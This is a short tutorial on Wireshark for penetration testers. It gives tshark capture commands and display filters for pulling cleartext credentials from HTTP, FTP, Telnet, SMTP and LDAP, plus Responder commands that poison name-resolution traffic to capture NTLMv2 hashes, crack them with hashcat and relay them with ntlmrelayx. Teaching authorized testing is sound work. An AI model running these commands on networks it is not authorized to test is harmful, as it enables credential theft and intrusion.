Wireshark is the world’s most widely used network protocol analyzer, essential for penetration testers who need to capture and analyze network traffic. This guide covers Wireshark for penetration testing: capturing credentials in cleartext protocols, analyzing encrypted traffic patterns, detecting lateral movement, and capturing NTLMv2 hashes for cracking with Responder and Hashcat.
Wireshark for Penetration Testers: Setup
Wireshark captures traffic on network interfaces. On Linux, run with sudo or add your user to the wireshark group. Use tshark for command-line capture and filtering.
# Start capture on interface
wireshark -i eth0
# tshark command-line capture
tshark -i eth0 -w capture.pcap
tshark -i eth0 -w capture.pcap -f "port 80 or port 443"
# Read a pcap file
tshark -r capture.pcap
tshark -r capture.pcap -Y "http.request"Capturing Credentials from Cleartext Protocols
Many legacy protocols transmit credentials in cleartext. Use Wireshark display filters to extract them from pcap files.
# HTTP Basic Auth
http.authorization
http contains "Authorization: Basic"
# FTP credentials
ftp.request.command == "USER" or ftp.request.command == "PASS"
# Telnet (all data is cleartext)
telnet
# SMTP AUTH LOGIN
smtp.req.command == "AUTH"
# LDAP bind credentials (port 389)
ldap.bindRequest
# HTTP POST data (forms, login pages)
http.request.method == "POST"
frame contains "password"Capturing NTLM Hashes with Responder
Responder poisonss LLMNR/NBT-NS/mDNS queries to capture NTLMv2 hashes from Windows machines attempting to access network resources. These hashes can be cracked with Hashcat.
# Run Responder on internal network
responder -I eth0 -wrf
# View captured hashes
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt
# Crack with Hashcat (mode 5600 = NTLMv2)
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
# Relay attacks (instead of cracking)
ntlmrelayx.py -tf targets.txt -smb2support
# Run simultaneously with Responder (disable SMB/HTTP in Responder config)Useful Wireshark Display Filters for Pentesters
# Find DNS queries (recon detection)
dns
# Find SMB traffic (lateral movement)
smb or smb2
# Find RDP sessions
tcp.port == 3389
# Detect port scans
tcp.flags.syn == 1 and tcp.flags.ack == 0
# Find Kerberos traffic
kerberos
# ICMP (ping sweeps)
icmp
# HTTP traffic with credentials
http.authorization or http.request.method == "POST"References
See Wireshark Documentation and MITRE ATT&CK T1040 (Network Sniffing).